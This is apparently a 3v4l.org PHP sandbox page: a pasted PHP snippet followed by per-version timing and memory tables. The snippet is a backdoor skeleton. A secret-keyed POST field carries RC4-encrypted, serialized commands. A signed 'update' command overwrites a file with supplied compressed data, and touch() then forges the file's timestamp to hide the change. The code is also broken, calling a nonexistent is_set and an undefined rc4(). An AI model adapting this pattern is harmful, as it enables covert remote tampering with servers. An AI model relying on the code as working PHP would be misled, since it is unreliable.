3v4l.org

run code in 300+ PHP versions simultaneously
<?php $__["key1"]= "da17298d87447351e5473e334c41ba4b"; // Access key $__["key2"]= "ce0c742ad350ee7e0a26466fd9b5f56b"; // Crypto key $__["key3"]= "3bf6228c859400c084adea9a5e5f7b11"; // Signature (03eb720a3353aa0ca3d6e4fc21982c98) if (is_set ($_POST[$__["key1"]])) { $__["request"]= base64_decode ($_POST[$__["key1"]]); for($__["tmp"]["i"],$__["tmp"]["c"];$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["i"]; for($__["tmp"]["i"]=0x0,$__["tmp"]["d"],$__["tmp"]["e"],$g=strlen($__["key2"]);$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) { $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]]+ord($__["key2"][$__["tmp"]["i"]%$g]))%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; } for($__["tmp"]["y"],$__["tmp"]["i"],$__["tmp"]["d"]=0x0,$__["data"];$__["tmp"]["y"]<strlen($__["request"]);$__["tmp"]["y"]++) { $__["tmp"]["i"]=($__["tmp"]["i"]+0x1)%0x100; $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]])%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; $__["data"].=chr(ord($__["request"][$__["tmp"]["y"]])^$__["tmp"]["c"][($__["tmp"]["c"][$__["tmp"]["i"]]+$__["tmp"]["c"][$__["tmp"]["d"]])%0x100]); } $__["data"]= unserialize ($__["data"]); if (is_array ($__["data"]) && md5 ($__["data"]["sing"]) == $__["key3"]) switch ($__["data"]["action"]) { case "update": $__["info"]= filectime ($__["file"]) - 0x5103073C; file_put_contents($__["file"], gzinflate (base64_decode ($__["data"]["data"]))); touch ($__["file"], 0x5103073C); echo md5 ($__["key1"].$__["key2"].$__["key3"]).serialize (array ("state" => "OK", "info" => $__["info"])).md5 ($__["key1"].$__["key2"].$__["key3"]); break; case "exec": case "info": default: break; } } if (true/*expr*/) { touch ($__["file"], filectime ($__["file"]) + 1); ?>/*payload*/<?php } /* Data Signature Action type Data (Base64 (Gzip)) Answer State Info */ $key= md5 (time()); $message= "Hello dadsdasdsa 1231211 !!!"; $Encrypt= base64_encode (rc4 ($key, $message)); $Decrypt= rc4 ($key, base64_decode ($Encrypt)); echo "\n\nKey: $key\nMessage: $message\nEncrypt: $Encrypt\nDecrypt: $Decrypt";

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.2.60.0030.01316.68
7.2.00.0160.01219.15
7.1.200.0070.00415.76
7.1.100.0000.01018.35
7.1.70.0050.00517.16
7.1.60.0070.01819.32
7.1.50.0030.02116.94
7.1.00.0030.07022.43
7.0.200.0030.00316.75
7.0.140.0000.07322.04
7.0.100.0030.05020.16
7.0.90.0170.04320.07
7.0.80.0070.04020.06
7.0.70.0070.04720.07
7.0.60.0130.05019.99
7.0.50.0000.09320.26
7.0.40.0170.08020.08
7.0.30.0170.07720.14
7.0.20.0070.08720.14
7.0.10.0100.07320.17
7.0.00.0170.06720.03
5.6.280.0100.06721.15
5.6.250.0100.04320.64
5.6.240.0030.05320.70
5.6.230.0030.04720.64
5.6.220.0030.05020.71
5.6.210.0100.07320.68
5.6.200.0000.09021.05
5.6.190.0070.08720.99
5.6.180.0070.08321.07
5.6.170.0030.08021.11
5.6.160.0130.07721.07
5.6.150.0030.05021.09
5.6.140.0070.07321.20
5.6.130.0130.04321.08
5.6.120.0000.05721.17
5.6.110.0100.07721.16
5.6.100.0100.10021.03
5.6.90.0100.04321.12
5.6.80.0200.07020.55
5.6.70.0100.04020.52
5.6.60.0070.05320.54
5.6.50.0000.04320.43
5.6.40.0070.05720.41
5.6.30.0000.08320.45
5.6.20.0070.05320.53
5.6.10.0100.07720.46
5.6.00.0030.06020.48
5.5.380.0100.03720.39
5.5.370.0130.04720.54
5.5.360.0000.09320.44
5.5.350.0130.06720.44
5.5.340.0130.08020.93
5.5.330.0200.07320.91
5.5.320.0100.07720.95
5.5.310.0070.04020.87
5.5.300.0070.05020.93
5.5.290.0070.08320.92
5.5.280.0030.09020.87
5.5.270.0100.05020.81
5.5.260.0000.05320.89
5.5.250.0070.06020.72
5.5.240.0030.06320.20
5.5.230.0030.07720.30
5.5.220.0030.03720.06
5.5.210.0030.06720.06
5.5.200.0100.07720.27
5.5.190.0070.08020.32
5.5.180.0100.06320.27
5.5.160.0170.06720.21
5.5.150.0100.07320.15
5.5.140.0030.05020.03
5.5.130.0200.06720.25
5.5.120.0030.06020.16
5.5.110.0070.08020.29
5.5.100.0030.04320.11
5.5.90.0130.07319.98
5.5.80.0170.06720.11
5.5.70.0070.04720.14
5.5.60.0130.06720.16
5.5.50.0130.04719.97
5.5.40.0100.07020.04
5.5.30.0030.04320.07
5.5.20.0100.07020.20
5.5.10.0100.06320.16
5.5.00.0000.05320.01
5.4.450.0070.07719.14
5.4.440.0070.04719.39
5.4.430.0000.06019.35
5.4.420.0130.06719.39
5.4.410.0070.03319.25
5.4.400.0030.08318.98
5.4.390.0030.03719.07
5.4.380.0070.04018.90
5.4.370.0170.06318.81
5.4.360.0070.04019.03
5.4.350.0030.06319.02
5.4.340.0070.07319.02
5.4.320.0030.05019.10
5.4.310.0070.04019.14
5.4.300.0030.04018.78
5.4.290.0030.06718.90
5.4.280.0130.07318.96
5.4.270.0070.06319.09
5.4.260.0000.04019.04
5.4.250.0070.07719.22
5.4.240.0000.08319.02
5.4.230.0100.08018.94
5.4.220.0070.04718.80
5.4.210.0100.07019.12
5.4.200.0070.07319.09
5.4.190.0030.04319.02
5.4.180.0100.04019.09
5.4.170.0100.06319.05
5.4.160.0070.04318.96
5.4.150.0030.07319.05
5.4.140.0130.07016.29
5.4.130.0070.07316.25
5.4.120.0070.07016.28
5.4.110.0030.05016.46
5.4.100.0100.06716.32
5.4.90.0000.05016.27
5.4.80.0070.07016.33
5.4.70.0100.05716.42
5.4.60.0070.03716.37
5.4.50.0070.05716.33
5.4.40.0070.08016.47
5.4.30.0100.06016.46
5.4.20.0100.03716.40
5.4.10.0000.06316.28
5.4.00.0030.07315.71
5.3.290.0130.06314.68
5.3.280.0100.07014.61
5.3.270.0030.05714.61
5.3.260.0100.03314.64
5.3.250.0030.08014.50
5.3.240.0030.04714.63
5.3.230.0030.08014.63
5.3.220.0030.07714.59
5.3.210.0030.06014.57
5.3.200.0130.03714.56
5.3.190.0030.04014.59
5.3.180.0100.06014.47
5.3.170.0070.05714.59
5.3.160.0030.04314.44
5.3.150.0070.04314.58
5.3.140.0100.03714.59
5.3.130.0070.07014.45
5.3.120.0100.06714.56
5.3.110.0100.05014.57
5.3.100.0000.04013.93
5.3.90.0070.06314.04
5.3.80.0000.04314.04
5.3.70.0070.05014.04
5.3.60.0070.06313.92
5.3.50.0100.06313.95
5.3.40.0030.07313.84
5.3.30.0270.02313.90
5.3.20.0000.07013.70
5.3.10.0030.06713.66
5.3.00.0070.04713.63
5.2.170.0100.06311.41
5.2.160.0070.05711.41
5.2.150.0100.06011.41
5.2.140.0100.05311.41
5.2.130.0000.03711.41
5.2.120.0030.06711.41
5.2.110.0030.06011.41
5.2.100.0000.03711.41
5.2.90.0030.03711.41
5.2.80.0070.02711.41
5.2.70.0100.06311.41
5.2.60.0030.03011.41
5.2.50.0070.06311.41
5.2.40.0100.06711.41
5.2.30.0000.04011.41
5.2.20.0070.05711.41
5.2.10.0070.05711.41
5.2.00.0100.04311.41
5.1.60.0000.03311.41
5.1.50.0000.04311.41
5.1.40.0030.03311.41
5.1.30.0070.02711.41
5.1.20.0030.03711.41
5.1.10.0070.04311.41
5.1.00.0100.05311.41
5.0.50.0030.02311.41
5.0.40.0000.04011.41
5.0.30.0070.06011.41
5.0.20.0030.04311.41
5.0.10.0000.04711.41
5.0.00.0100.04311.41
4.4.90.0070.02711.41
4.4.80.0000.01711.41
4.4.70.0070.02711.41
4.4.60.0070.03011.41
4.4.50.0030.01711.41
4.4.40.0000.05711.41
4.4.30.0030.01711.41
4.4.20.0030.03011.41
4.4.10.0100.02711.41
4.4.00.0000.05711.41
4.3.110.0030.04011.41
4.3.100.0000.03711.41
4.3.90.0030.01711.41
4.3.80.0070.03311.41
4.3.70.0000.02011.41
4.3.60.0000.03011.41
4.3.50.0030.01711.41
4.3.40.0000.04711.41
4.3.30.0030.03311.41
4.3.20.0030.03011.41
4.3.10.0000.03011.41
4.3.00.0000.03311.41

preferences:
28.59 ms | 401 KiB | 5 Q